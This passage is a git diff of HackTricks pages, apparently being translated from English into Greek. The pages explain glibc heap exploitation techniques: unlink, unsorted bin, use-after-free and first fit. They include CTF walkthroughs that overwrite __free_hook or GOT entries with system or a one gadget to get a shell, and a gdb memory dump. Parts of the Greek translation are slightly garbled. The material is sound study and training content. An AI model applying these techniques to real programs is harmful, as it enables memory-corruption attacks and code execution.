`fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν σε θέση στη μνήμη (στοίβα) όπου βρίσκεται η πραγματική διεύθυνση του chunk1:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained. -- When the second chunk is freed then this fake chunk is unlinked happening: - - `fake_chunk->fd->bk` = `fake_chunk->bk` - - `fake_chunk->bk->fd` = `fake_chunk->fd` -- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. -- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. - - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. - - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. +- Οι κεφαλίδες του chunk2 τροποποιούνται για να υποδείξουν ότι το προηγούμενο chunk δεν χρησιμοποιείται και ότι το μέγεθος είναι το μέγεθος του ψεύτικου chunk που περιέχεται. +- Όταν το δεύτερο chunk απελευθερωθεί, τότε αυτό το ψεύτικο chunk αποσυνδέεται συμβαίνοντας: +- `fake_chunk->fd->bk` = `fake_chunk->bk` +- `fake_chunk->bk->fd` = `fake_chunk->fd` +- Προηγουμένως είχε γίνει ώστε `fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν στην ίδια θέση (την τοποθεσία στη στοίβα όπου αποθηκεύτηκε το `chunk1`, οπότε ήταν μια έγκυρη συνδεδεμένη λίστα). Καθώς **και οι δύο δείχνουν στην ίδια τοποθεσία**, μόνο η τελευταία (`fake_chunk->bk->fd = fake_chunk->fd`) θα έχει **επίδραση**. +- Αυτό θα **επικαλύψει τον δείκτη στο chunk1 στη στοίβα με τη διεύθυνση (ή τα bytes) που αποθηκεύονται 3 διευθύνσεις πριν στη στοίβα**. +- Επομένως, αν ένας επιτιθέμενος μπορούσε να ελέγξει ξανά το περιεχόμενο του chunk1, θα είναι σε θέση να **γράψει μέσα στη στοίβα** έχοντας τη δυνατότητα να επικαλύψει τη διεύθυνση επιστροφής παρακάμπτοντας το canary και να τροποποιήσει τις τιμές και τους δείκτες των τοπικών μεταβλητών. Ακόμη και τροποποιώντας ξανά τη διεύθυνση του chunk1 που αποθηκεύεται στη στοίβα σε μια διαφορετική τοποθεσία όπου αν ο επιτιθέμενος μπορούσε να ελέγξει ξανά το περιεχόμενο του chunk1 θα μπορούσε να γράψει οπουδήποτε. +- Σημειώστε ότι αυτό ήταν δυνατό επειδή οι **διευθύνσεις αποθηκεύονται στη στοίβα**. Ο κίνδυνος και η εκμετάλλευση μπορεί να εξαρτώνται από **πού αποθηκεύονται οι διευθύνσεις του ψεύτικου chunk**.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-## References +## Αναφορές - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) -- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used: - - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE. - - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget. - - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. +- Αν και θα ήταν περίεργο να βρείτε μια επίθεση unlink ακόμη και σε ένα CTF, εδώ έχετε μερικά writeups όπου χρησιμοποιήθηκε αυτή η επίθεση: +- Παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) +- Σε αυτό το παράδειγμα, αντί για τη στοίβα υπάρχει ένας πίνακας διευθύνσεων malloc'ed. Η επίθεση unlink εκτελείται για να μπορέσει να κατανεμηθεί ένα chunk εδώ, επομένως να μπορεί να ελέγξει τους δείκτες του πίνακα των malloc'ed διευθύνσεων. Στη συνέχεια, υπάρχει μια άλλη λειτουργία που επιτρέπει να τροποποιηθεί το περιεχόμενο των chunks σε αυτές τις διευθύνσεις, που επιτρέπει να δείχνουν διευθύνσεις στο GOT, να τροποποιούν τις διευθύνσεις συναρτήσεων για να πάρουν διαρροές και RCE. +- Ένα άλλο παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) +- Ακριβώς όπως στο προηγούμενο παράδειγμα, υπάρχει ένας πίνακας διευθύνσεων κατανομών. Είναι δυνατό να εκτελεστεί μια επίθεση unlink για να γίνει η διεύθυνση στην πρώτη κατανομή να δείχνει μερικές θέσεις πριν από την αρχή του πίνακα και να επικαλύψει αυτή την κατανομή στη νέα θέση. Επομένως, είναι δυνατό να επικαλυφθούν οι δείκτες άλλων κατανομών ώστε να δείχνουν στο GOT του atoi, να το εκτυπώσουν για να πάρουν μια διαρροή libc και στη συνέχεια να επικαλύψουν το GOT του atoi με τη διεύθυνση σε ένα one gadget. +- Παράδειγμα CTF με προσαρμοσμένες συναρτήσεις malloc και free που εκμεταλλεύονται μια ευπάθεια πολύ παρόμοια με την επίθεση unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) +- Υπάρχει μια υπερχείλιση που επιτρέπει τον έλεγχο των δεικτών FD και BK της προσαρμοσμένης malloc που θα είναι (προσαρμοσμένη) απελευθερωμένη. Επιπλέον, η heap έχει το exec bit, οπότε είναι δυνατό να διαρρεύσει μια διεύθυνση heap και να δείξει μια συνάρτηση από το GOT σε ένα chunk heap με shellcode για εκτέλεση. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 65d509c48..ee80cf201 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,70 +4,70 @@ ## Basic Information -For more information about what is an unsorted bin check this page: +Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα unsorted bin, ελέγξτε αυτή τη σελίδα: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. +Οι unsorted λίστες είναι ικανές να γράφουν τη διεύθυνση στο `unsorted_chunks (av)` στη διεύθυνση `bk` του chunk. Επομένως, αν ένας επιτιθέμενος μπορεί να **τροποποιήσει τη διεύθυνση του δείκτη `bk`** σε ένα chunk μέσα στο unsorted bin, θα μπορούσε να **γράψει αυτή τη διεύθυνση σε μια αυθαίρετη διεύθυνση** που θα μπορούσε να είναι χρήσιμη για να διαρρεύσει διευθύνσεις Glibc ή να παρακάμψει κάποια άμυνα. -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). +Έτσι, βασικά, αυτή η επίθεση επιτρέπει να **οριστεί ένας μεγάλος αριθμός σε μια αυθαίρετη διεύθυνση**. Αυτός ο μεγάλος αριθμός είναι μια διεύθυνση, η οποία θα μπορούσε να είναι μια διεύθυνση heap ή μια διεύθυνση Glibc. Ένας τυπικός στόχος είναι **`global_max_fast`** για να επιτρέψει τη δημιουργία fast bin bins με μεγαλύτερα μεγέθη (και να περάσει από μια επίθεση unsorted bin σε μια επίθεση fast bin). > [!TIP] -> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. +> Ρ> ίξτε μια ματιά στο παράδειγμα που παρέχεται στο [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) και χρησιμοποιώντας 0x4000 και 0x5000 αντί για 0x400 και 0x500 ως μεγέθη chunk (για να αποφευχθεί το Tcache) είναι δυνατόν να δείτε ότι **σήμερα** το σφάλμα **`malloc(): unsorted double linked list corrupted`** ενεργοποιείται. > -> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. +> Επομένως, αυτή η επίθεση unsorted bin τώρα (μεταξύ άλλων ελέγχων) απαιτεί επίσης να είναι δυνατή η διόρθωση της διπλής συνδεδεμένης λίστας ώστε να παρακαμφθεί `victim->bk->fd == victim` ή όχι `victim->fd == av (arena)`, που σημαίνει ότι η διεύθυνση όπου θέλουμε να γράψουμε πρέπει να έχει τη διεύθυνση του ψεύτικου chunk στη θέση `fd` της και ότι το ψεύτικο chunk `fd` δείχνει στην αρένα. > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** +> Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το μικρό και το μεγάλο). Έτσι, μπορούμε μόνο να **χρησιμοποιήσουμε κατανομές από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες κατανομές και να καταρρεύσει), και για να ενεργοποιηθεί αυτό πρέπει να **κατανεμηθεί το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.** > -> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. +> Σημειώστε ότι η επαναγραφή του **`global_max_fast`** μπορεί να βοηθήσει σε αυτή την περίπτωση, εμπιστευόμενοι ότι το fast bin θα είναι σε θέση να φροντίσει όλες τις άλλες κατανομές μέχρι να ολοκληρωθεί η εκμετάλλευση. -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +Ο κώδικας από [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) το εξηγεί πολύ καλά, αν και αν τροποποιήσετε τις mallocs για να κατανεμηθεί μνήμη αρκετά μεγάλη ώστε να μην καταλήξει σε Tcache, μπορείτε να δείτε ότι το προηγουμένως αναφερόμενο σφάλμα εμφανίζεται αποτρέποντας αυτή την τεχνική: **`malloc(): unsorted double linked list corrupted`** ## Unsorted Bin Infoleak Attack -This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ -Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. +Αυτό είναι στην πραγματικότητα μια πολύ βασική έννοια. Τα chunks στο unsorted bin θα έχουν δείκτες. Το πρώτο chunk στο unsorted bin θα έχει στην πραγματικότητα τους συνδέσμους **`fd`** και **`bk`** **να δείχνουν σε ένα μέρος της κύριας αρένας (Glibc)**.\ +Επομένως, αν μπορείτε να **βάλτε ένα chunk μέσα σε ένα unsorted bin και να το διαβάσετε** (use after free) ή **να το κατανεμηθείτε ξανά χωρίς να επαναγράψετε τουλάχιστον 1 από τους δείκτες** για να **το διαβάσετε**, μπορείτε να έχετε μια **διαρροή πληροφοριών Glibc**. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +Μια παρόμοια [**επίθεση που χρησιμοποιήθηκε σε αυτή την αναφορά**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), ήταν να καταχραστεί μια δομή 4 chunks (A, B, C και D - D είναι μόνο για να αποτρέψει τη συγχώνευση με το top chunk) έτσι ώστε μια υπερχείλιση null byte στο B χρησιμοποιήθηκε για να κάνει το C να υποδείξει ότι το B ήταν αχρησιμοποίητο. Επίσης, στο B τα δεδομένα `prev_size` τροποποιήθηκαν έτσι ώστε το μέγεθος αντί να είναι το μέγεθος του B να είναι A+B.\ +Στη συνέχεια, το C απελευθερώθηκε και συγχωνεύθηκε με A+B (αλλά το B ήταν ακόμα σε χρήση). Ένα νέο chunk μεγέθους A κατανεμήθηκε και στη συνέχεια οι διευθύνσεις libc διαρρεύθηκαν στο B από όπου διαρρεύθηκαν. ## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. +- Ο στόχος είναι να επαναγραφεί μια παγκόσμια μεταβλητή με μια τιμή μεγαλύτερη από 4869 ώστε να είναι δυνατή η λήψη της σημαίας και το PIE να μην είναι ενεργοποιημένο. +- Είναι δυνατόν να παραχθούν chunks αυθαίρετου μεγέθους και υπάρχει μια υπερχείλιση heap με το επιθυμητό μέγεθος. +- Η επίθεση ξεκινά δημιουργώντας 3 chunks: chunk0 για να καταχραστεί την υπερχείλιση, chunk1 για να υπερχυθεί και chunk2 ώστε το top chunk να μην συγχωνευθεί με τα προηγούμενα. +- Στη συνέχεια, το chunk1 απελευθερώνεται και το chunk0 υπερχύνεται ώστε ο δείκτης `bk` του chunk1 να δείχνει σε: `bk = magic - 0x10` +- Στη συνέχεια, το chunk3 κατανεμήθηκε με το ίδιο μέγεθος όπως το chunk1, το οποίο θα ενεργοποιήσει την επίθεση unsorted bin και θα τροποποιήσει την τιμή της παγκόσμιας μεταβλητής, καθιστώντας δυνατή τη λήψη της σημαίας. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. - - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. - - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - - Now a **fast bin attack** is performed: - - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - -
gef➤  p &__free_hook
-      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-      gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-      0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-      0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-      
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- Η συνάρτηση συγχώνευσης είναι ευάλωτη επειδή αν οι δύο δείκτες που περάστηκαν είναι ο ίδιος θα επανακατανεμηθεί σε αυτόν και στη συνέχεια θα απελευθερωθεί αλλά επιστρέφει έναν δείκτη σε αυτήν την απελευθερωμένη περιοχή που μπορεί να χρησιμοποιηθεί. +- Επομένως, **δημιουργούνται 2 chunks**: **chunk0** το οποίο θα συγχωνευθεί με τον εαυτό του και chunk1 για να αποτρέψει τη συγχώνευση με το top chunk. Στη συνέχεια, η **συνάρτηση συγχώνευσης καλείται με το chunk0** δύο φορές, γεγονός που θα προκαλέσει χρήση μετά την απελευθέρωση. +- Στη συνέχεια, η **συνάρτηση `view`** καλείται με δείκτη 2 (ο οποίος είναι ο δείκτης του chunk που χρησιμοποιήθηκε μετά την απελευθέρωση), το οποίο θα **διαρρεύσει μια διεύθυνση libc**. +- Καθώς το δυαδικό έχει προστασίες για να επιτρέπει μόνο malloc μεγέθη μεγαλύτερα από **`global_max_fast`** ώστε να μην χρησιμοποιείται κανένα fastbin, θα χρησιμοποιηθεί μια επίθεση unsorted bin για να επαναγραφεί η παγκόσμια μεταβλητή `global_max_fast`. +- Στη συνέχεια, είναι δυνατόν να καλέσετε τη συνάρτηση edit με τον δείκτη 2 (τον δείκτη του δείκτη που χρησιμοποιήθηκε μετά την απελευθέρωση) και να επαναγράψετε τον δείκτη `bk` ώστε να δείχνει σε `p64(global_max_fast-0x10)`. Στη συνέχεια, η δημιουργία ενός νέου chunk θα χρησιμοποιήσει τη προηγουμένως παραβιασμένη διεύθυνση ελεύθερης μνήμης (0x20) θα **ενεργοποιήσει την επίθεση unsorted bin** επαναγράφοντας το `global_max_fast` με μια πολύ μεγάλη τιμή, επιτρέποντας τώρα τη δημιουργία chunks σε fast bins. +- Τώρα εκτελείται μια **επίθεση fast bin**: +- Πρώτα απ 'όλα, ανακαλύπτεται ότι είναι δυνατόν να εργαστείτε με γρήγορες **chunks μεγέθους 200** στη θέση **`__free_hook`**: +-
gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+
+- Αν καταφέρουμε να αποκτήσουμε ένα γρήγορο chunk μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατόν να επαναγράψουμε έναν δείκτη συνάρτησης που θα εκτελείται +- Για αυτό, δημιουργείται ένα νέο chunk μεγέθους `0xfc` και η συνάρτηση συγχώνευσης καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε ένα ελεύθερο chunk μεγέθους `0xfc*2 = 0x1f8` στο fast bin. +- Στη συνέχεια, η συνάρτηση edit καλείται σε αυτό το chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του fast bin ώστε να δείχνει στη προηγούμενη συνάρτηση **`__free_hook`**. +- Στη συνέχεια, δημιουργείται ένα chunk μεγέθους `0x1f8` για να ανακτηθεί από το fast bin το προηγούμενο άχρηστο chunk, ώστε να δημιουργηθεί άλλο chunk μεγέθους `0x1f8` για να αποκτήσει ένα fast bin chunk στη **`__free_hook`** το οποίο επαναγράφεται με τη διεύθυνση της συνάρτησης **`system`**. +- Και τελικά, ένα chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη συνάρτηση system με `/bin/sh\x00` ως παράμετρο. +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης 1B για να συγχωνευθούν chunks στο unsorted bin και να αποκτηθεί μια διαρροή libc και στη συνέχεια να εκτελεστεί μια επίθεση fast bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- Μπορούμε μόνο να κατανεμηθούν chunks μεγέθους μεγαλύτερου από `0x100`. +- Επαναγράψτε το `global_max_fast` χρησιμοποιώντας μια επίθεση Unsorted Bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits). +- Επίθεση Fast Bin για να τροποποιηθεί ένας παγκόσμιος πίνακας chunks. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει να τροποποιηθεί το GOT και να ρυθμιστεί κάποια συνάρτηση να δείχνει στη `system`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md index d6fd34f42..ccf38b050 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -1,17 +1,17 @@ -# Use After Free +# Χρήση Μετά την Απελευθέρωση {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**. +Όπως υποδηλώνει το όνομα, αυτή η ευπάθεια συμβαίνει όταν ένα πρόγραμμα **αποθηκεύει κάποιο χώρο** στη heap για ένα αντικείμενο, **γράφει** κάποιες πληροφορίες εκεί, **απελευθερώνει** το προφανώς επειδή δεν χρειάζεται πια και στη συνέχεια **το προσπελάζει ξανά**. -The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it). +Το πρόβλημα εδώ είναι ότι δεν είναι παράνομο (δεν **θα υπάρχουν σφάλματα**) όταν **προσπελάζεται απελευθερωμένη μνήμη**. Έτσι, αν το πρόγραμμα (ή ο επιτιθέμενος) καταφέρει να **κατανείμει την απελευθερωμένη μνήμη και να αποθηκεύσει αυθαίρετα δεδομένα**, όταν η απελευθερωμένη μνήμη προσπελαστεί από τον αρχικό δείκτη, **τα δεδομένα θα έχουν αντικατασταθεί** προκαλώντας μια **ευπάθεια που θα εξαρτάται από την ευαισθησία των δεδομένων** που αποθηκεύτηκαν αρχικά (αν ήταν ένας δείκτης μιας συνάρτησης που επρόκειτο να κληθεί, ένας επιτιθέμενος θα μπορούσε να γνωρίζει πώς να το ελέγξει). -### First Fit attack +### Επίθεση Πρώτης Τοποθέτησης -A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\ -Check more info in: +Μια επίθεση πρώτης τοποθέτησης στοχεύει τον τρόπο που ορισμένοι κατανεμητές μνήμης, όπως στη glibc, διαχειρίζονται την απελευθερωμένη μνήμη. Όταν απελευθερώνετε ένα μπλοκ μνήμης, προστίθεται σε μια λίστα, και οι νέες αιτήσεις μνήμης αντλούν από αυτή τη λίστα από το τέλος. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτή τη συμπεριφορά για να χει manipulat **ποια μπλοκ μνήμης επαναχρησιμοποιούνται, αποκτώντας ενδεχομένως έλεγχο πάνω τους**. Αυτό μπορεί να οδηγήσει σε προβλήματα "χρήσης μετά την απελευθέρωση", όπου ένας επιτιθέμενος θα μπορούσε να **αλλάξει το περιεχόμενο της μνήμης που επανακατανέμεται**, δημιουργώντας έναν κίνδυνο ασφαλείας.\ +Δείτε περισσότερες πληροφορίες στο: {{#ref}} first-fit.md diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 7bab07aea..121cd7787 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -4,36 +4,33 @@ ## **First Fit** -When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins. +Όταν απελευθερώνετε μνήμη σε ένα πρόγραμμα χρησιμοποιώντας glibc, χρησιμοποιούνται διαφορετικά "bins" για τη διαχείριση των κομματιών μνήμης. Ακολουθεί μια απλοποιημένη εξήγηση δύο κοινών σεναρίων: τα unsorted bins και τα fastbins. ### Unsorted Bins -When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin. +Όταν απελευθερώνετε ένα κομμάτι μνήμης που δεν είναι γρήγορο κομμάτι, πηγαίνει στο unsorted bin. Αυτό το bin λειτουργεί σαν μια λίστα όπου τα νέα απελευθερωμένα κομμάτια προστίθενται στην αρχή (την "κεφαλή"). Όταν ζητάτε ένα νέο κομμάτι μνήμης, ο αλγόριθμος αναθέσεων κοιτάζει το unsorted bin από το πίσω μέρος (την "ουρά") για να βρει ένα κομμάτι που είναι αρκετά μεγάλο. Αν ένα κομμάτι από το unsorted bin είναι μεγαλύτερο από αυτό που χρειάζεστε, χωρίζεται, με το μπροστινό μέρος να επιστρέφεται και το υπόλοιπο να παραμένει στο bin. -Example: - -- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`). -- When you free `a`, it goes to the unsorted bin. -- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin. - - `c` will be pointing to the previous `a` and filled with the `a's`. +Παράδειγμα: +- Αποδεσμεύετε 300 bytes (`a`), στη συνέχεια 250 bytes (`b`), 